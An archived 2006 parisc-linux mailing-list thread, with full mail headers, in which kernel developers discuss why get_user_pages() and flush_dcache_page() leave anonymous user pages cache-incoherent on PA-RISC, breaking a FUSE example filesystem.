X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 10:52:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 19 Mar 2006 11:52:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54DFC7D69E;
	Sun, 19 Mar 2006 03:52:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22105-04; Sun, 19 Mar 2006 03:52:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 36D5F7D6A2;
	Sun, 19 Mar 2006 03:52:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 540A97D699
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 03:52:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22077-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 03:52:44 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B22067D696
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 03:52:44 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 5B5DF49403D; Sun, 19 Mar 2006 03:52:44 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from silver.veritas.com (silver.veritas.com [143.127.12.111])
	by palinux.hppa (Postfix) with ESMTP id 1AEA3494028
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Mar 2006 03:52:44 -0700 (MST)
Original-Received: from sxchcon1-int.veritas.com (HELO
	SVLXCHCON1.enterprise.veritas.com) ([10.137.18.171])
	by silver.veritas.com with ESMTP; 19 Mar 2006 02:52:44 -0800
X-BrightmailFiltered: true
X-Brightmail-Tracker: AAAAAA==
X-IronPort-AV: i="4.03,107,1141632000"; 
	d="scan'208"; a="36089220:sNHT26133672"
Original-Received: from megami.veritas.com ([10.137.16.7]) by
	SVLXCHCON1.enterprise.veritas.com with Microsoft
	SMTPSVC(6.0.3790.211); Sun, 19 Mar 2006 02:52:43 -0800
Original-Received: from [172.21.56.61]([172.21.56.61]) (3794 bytes) by
	megami.veritas.com via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) id <m1FKvWc-0001cDC@megami.veritas.com>
	for <miklos@szeredi.hu>; Sun, 19 Mar 2006 02:52:42 -0800 (PST)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@goblin.wat.veritas.com
In-Reply-To: <1142750588.3773.26.camel@mulgrave.il.steeleye.com>
X-OriginalArrivalTime: 19 Mar 2006 10:52:43.0034 (UTC)
	FILETIME=[3FB4BFA0:01C64B43]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ul1vZBVFeSEkcL6WZHQhaXN1IGRvb8Ao
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25276

On Sun, 19 Mar 2006, James Bottomley wrote:
> 
> However, the problem appears to be that the user pointer is coming from
> malloc'd memory, which is of type PAGE_MAPPING_ANON.  This flag ensures
> that page_mapping(page) returns NULL and thus that flush_dcache_page()
> on parisc never actually does any user space flushes.
> 
> The reason you see nothing when you cat /proc/fs/test is that these
> PAGE_MAPPING_ANON pages for malloc() have a nice trick where the
> clear_user_highpage() function blasts a string of zeros over them via
> the cache in user space, so they're cache incoherent; you can modify the
> underlying page as much as you like, but the data the user sees is the
> zeros until the page is flushed.  This is the essence of the problem:
> flush_dcache_page() isn't bringing these user pages back into coherency.
> 
> Just as proof of this, if you uncomment the asm in my_copy_to_user2,
> you'll see everything work correctly, because this asm statement forces
> coherency on the user page.
> 
> So, Hugh, you were the one who introduced this anonymous page behaviour;
> how are we supposed to obtain coherency for these pages?

I don't think I changed any behaviour here, just implemention details
(what you might expect to find stored in "page->mapping" in different
circumstances).  Comparing current parisc source against 2.6.5 source
(several releases before PAGE_MAPPING_ANON) bears that out, doesn't it?
page->mapping on anonymous pages at that time would have been NULL (or
&swapper_space if the page happened to have some swap assigned to it).

Isn't the point simply that anonymous pages are never writably shared,
and so don't require the coherency measures that shared writable pages
do?  Anonymous pages may be shared readonly between children and parent
of fork (and any modification requires Copy-On-Write at either end).
There are MAP_SHARED|MAP_ANONYMOUS pages, but those are implemented
like shared memory, as pages of an underlying tmpfs object (to which
page->mapping will point as for a normal file).

Whereas now Chris is working on a /proc file which gives access to
anonymous pages by a backdoor?  That's new territory, and may indeed
need something special such as you appended.  It might be something
very useful for local use, but I doubt it would be accepted into a
mainline kernel.

Hugh
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init
	on parisc
Date: Sun, 19 Mar 2006 15:38:04 +0000 (GMT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.61.0603191526250.4440__44236.7171323442$1416624589$gmane$org@goblin.wat.veritas.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net> 
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net> 
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com> 
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
	<1142777049.3240.6.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624589 27572 80.91.229.3 (22 Nov 2014 02:49:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:49 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 jick.nan@gmail.com,
 parisc-linux@parisc-linux.org,
 Chris Frost <chris@frostnet.net>,
 Miklos Szeredi <miklos@szeredi.hu>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 15:37:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 19 Mar 2006 16:37:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B4FA7D699;
	Sun, 19 Mar 2006 08:37:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26011-09; Sun, 19 Mar 2006 08:37:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58D1D7D69C;
	Sun, 19 Mar 2006 08:37:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CA8F7D677
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 08:37:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26009-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 08:37:05 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0142F7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 08:37:04 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id ADE3349402E; Sun, 19 Mar 2006 08:37:04 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from silver.veritas.com (silver.veritas.com [143.127.12.111])
	by palinux.hppa (Postfix) with ESMTP id 68108494028
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Mar 2006 08:37:04 -0700 (MST)
Original-Received: from sxchcon2-int.veritas.com (HELO
	SVLXCHCON2.enterprise.veritas.com) ([10.137.18.172])
	by silver.veritas.com with ESMTP; 19 Mar 2006 07:37:04 -0800
X-BrightmailFiltered: true
X-Brightmail-Tracker: AAAAAA==
X-IronPort-AV: i="4.03,107,1141632000"; 
	d="scan'208"; a="36094762:sNHT25009192"
Original-Received: from megami.veritas.com ([10.137.16.7]) by
	SVLXCHCON2.enterprise.veritas.com with Microsoft
	SMTPSVC(6.0.3790.211); Sun, 19 Mar 2006 07:37:03 -0800
Original-Received: from goblin.wat.veritas.com([10.10.97.2]) (2399 bytes) by
	megami.veritas.com via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) id <m1FKzxm-0001eLC@megami.veritas.com>
	for <miklos@szeredi.hu>; Sun, 19 Mar 2006 07:37:02 -0800 (PST)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@goblin.wat.veritas.com
In-Reply-To: <1142777049.3240.6.camel@mulgrave.il.steeleye.com>
X-OriginalArrivalTime: 19 Mar 2006 15:37:03.0365 (UTC)
	FILETIME=[F874AB50:01C64B6A]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /x9vZM0deSEkfL6WZHQhaXN1IGRvb0A0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25277

On Sun, 19 Mar 2006, James Bottomley wrote:
> 
> Well, yes, I think fuse is guilty to some degree.  However, the same
> situation would prevail if anonymous memory were sent down to our other
> kernel<->user mapping routines, like SG_IO for instance.  Perhaps we
> should be doing early cow breaking for anonymous pages we know we're
> going to write to?

Certainly, that is part of what copy_to_user and get_user_pages(,,,,1,,,)
(and ordinary userspace writing) guarantee.  So if there's some new route
by which userspace pages may be modified on behalf of the user, never mind
the architecture-specific cache coherency issues, COWs must be broken to
preserve the semantics of fork.

drivers/scsi/sg.c looks like it makes all the necessary calls to
__copy_to_user or get_user_pages... but it's not hard to fool me.

Hugh
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to
	init on parisc
Date: Sun, 19 Mar 2006 09:46:31 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <1142783191.3240.14.camel__30923.6501031139$1416624589$gmane$org@mulgrave.il.steeleye.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net>
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net>
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com>
	<1142777049.3240.6.camel@mulgrave.il.steeleye.com>
	<Pine.LNX.4.61.0603191526250.4440@goblin.wat.veritas.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624589 27577 80.91.229.3 (22 Nov 2014 02:49:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:49 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 jick.nan@gmail.com,
 parisc-linux@parisc-linux.org,
 Chris Frost <chris@frostnet.net>,
 Miklos Szeredi <miklos@szeredi.hu>
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 15:48:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 19 Mar 2006 16:48:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F352D7D6C7;
	Sun, 19 Mar 2006 08:47:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26410-06; Sun, 19 Mar 2006 08:47:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C16177D6CF;
	Sun, 19 Mar 2006 08:47:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 073EA7D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 08:47:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26386-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 08:47:52 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 700A07D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 08:47:52 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 1FFF649402E; Sun, 19 Mar 2006 08:47:52 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id BE724494028
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Mar 2006 08:47:51 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k2JFkX219055; Sun, 19 Mar 2006 10:46:33 -0500
In-Reply-To: <Pine.LNX.4.61.0603191526250.4440@goblin.wat.veritas.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YhhvZD5UeSEkdr6WZHQhaXN1IGRvb4CI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25278

On Sun, 2006-03-19 at 15:38 +0000, Hugh Dickins wrote:
> Certainly, that is part of what copy_to_user and get_user_pages(,,,,1,,,)
> (and ordinary userspace writing) guarantee.  So if there's some new route
> by which userspace pages may be modified on behalf of the user, never mind
> the architecture-specific cache coherency issues, COWs must be broken to
> preserve the semantics of fork.

Yes, that's where I think the problem lies.  For an anonymous unshared
page, the user view of the cache may still be dirty.  get_user_pages()
only seems to use flush_dcache_page() to restore coherency, which won't
work on anon pages.  Thus, get_user_pages() for an anon page is
returning a page to the kernel that still has an incoherent user cache,
which is what causes the issues in the copytest module.

> drivers/scsi/sg.c looks like it makes all the necessary calls to
> __copy_to_user or get_user_pages... but it's not hard to fool me.

Yes ... and the copytest module has an almost exact duplicate of that
code ... it's the actual get_user_pages() where I think we have
coherency issues ... I've verified that it is returning an incoherent
page if the underlying user page is PAGE_MAPPING_ANON.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [fuse-devel] Example filesystem fail to init
	on parisc
Date: Sun, 19 Mar 2006 16:37:11 +0000 (GMT)
Lines: 64
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.61.0603191614210.4908__32930.330586578$1416624590$gmane$org@goblin.wat.veritas.com>
References: <20060308071445.GA28275@pooh.bubble.frostnet.net> 
	<E1FGwXn-0005Dh-00@dorka.pomaz.szeredi.hu>
	<20060309055002.GJ26474@pooh.bubble.frostnet.net>
	<E1FHKQR-0007JU-00@dorka.pomaz.szeredi.hu>
	<20060309223622.GP26474@pooh.bubble.frostnet.net>
	<E1FHfby-00052b-00@dorka.pomaz.szeredi.hu>
	<20060310230000.GX26474@pooh.bubble.frostnet.net>
	<E1FIlC6-0005ts-00@dorka.pomaz.szeredi.hu>
	<E1FJsHo-0006Yf-00@dorka.pomaz.szeredi.hu>
	<20060319043939.GP26474@pooh.bubble.frostnet.net> 
	<1142750588.3773.26.camel@mulgrave.il.steeleye.com> 
	<Pine.LNX.4.61.0603191033480.9273@goblin.wat.veritas.com> 
	<1142777049.3240.6.camel@mulgrave.il.steeleye.com> 
	<Pine.LNX.4.61.0603191526250.4440@goblin.wat.veritas.com>
	<1142783191.3240.14.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624590 27580 80.91.229.3 (22 Nov 2014 02:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:50 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Miklos Szeredi <miklos@szeredi.hu>,
 fuse-devel@lists.sourceforge.net,
 Chris Frost <chris@frostnet.net>,
 jick.nan@gmail.com,
 "David S. Miller" <davem@davemloft.net>,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2006 16:36:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 19 Mar 2006 17:36:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F71A7D6C7;
	Sun, 19 Mar 2006 09:36:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26753-10; Sun, 19 Mar 2006 09:36:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83BAE7D6CF;
	Sun, 19 Mar 2006 09:36:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C303B7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 09:36:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26696-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 09:36:12 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2F58B7D673
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Mar 2006 09:36:12 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E8E5F49402E; Sun, 19 Mar 2006 09:36:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from silver.veritas.com (silver.veritas.com [143.127.12.111])
	by palinux.hppa (Postfix) with ESMTP id AD544494028
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Mar 2006 09:36:11 -0700 (MST)
Original-Received: from sxchcon2-int.veritas.com (HELO
	SVLXCHCON2.enterprise.veritas.com) ([10.137.18.172])
	by silver.veritas.com with ESMTP; 19 Mar 2006 08:36:11 -0800
X-BrightmailFiltered: true
X-Brightmail-Tracker: AAAAAA==
X-IronPort-AV: i="4.03,107,1141632000"; 
	d="scan'208"; a="36096117:sNHT23991668"
Original-Received: from megami.veritas.com ([10.137.16.7]) by
	SVLXCHCON2.enterprise.veritas.com with Microsoft
	SMTPSVC(6.0.3790.211); Sun, 19 Mar 2006 08:36:10 -0800
Original-Received: from goblin.wat.veritas.com([10.10.97.2]) (4581 bytes) by
	megami.veritas.com via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) id <m1FL0t0-0001bYC@megami.veritas.com>
	for <miklos@szeredi.hu>; Sun, 19 Mar 2006 08:36:10 -0800 (PST)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@goblin.wat.veritas.com
In-Reply-To: <1142783191.3240.14.camel@mulgrave.il.steeleye.com>
X-OriginalArrivalTime: 19 Mar 2006 16:36:10.0913 (UTC)
	FILETIME=[3AF58910:01C64B73]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1O1vZE41eSEkJL6WZHQhaXN1IGRvb8BJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25279

On Sun, 19 Mar 2006, James Bottomley wrote:
> On Sun, 2006-03-19 at 15:38 +0000, Hugh Dickins wrote:
> > Certainly, that is part of what copy_to_user and get_user_pages(,,,,1,,,)
> > (and ordinary userspace writing) guarantee.  So if there's some new route
> > by which userspace pages may be modified on behalf of the user, never mind
> > the architecture-specific cache coherency issues, COWs must be broken to
> > preserve the semantics of fork.
> 
> Yes, that's where I think the problem lies.  For an anonymous unshared
> page, the user view of the cache may still be dirty.  get_user_pages()
> only seems to use flush_dcache_page() to restore coherency, which won't
> work on anon pages.  Thus, get_user_pages() for an anon page is
> returning a page to the kernel that still has an incoherent user cache,
> which is what causes the issues in the copytest module.
> 
> > drivers/scsi/sg.c looks like it makes all the necessary calls to
> > __copy_to_user or get_user_pages... but it's not hard to fool me.
> 
> Yes ... and the copytest module has an almost exact duplicate of that
> code ... it's the actual get_user_pages() where I think we have
> coherency issues ... I've verified that it is returning an incoherent
> page if the underlying user page is PAGE_MAPPING_ANON.

It sounds like an issue you need to raise on linux-arch?  I've no idea
whether it's the parisc implementation of flush_dcache_page which is
at fault (skipping anonymous pages), or that get_user_pages ought to
be calling something stronger (something new?).  Remember, I'm one of
those x86 people with only a nursery-school grasp of coherency issues.

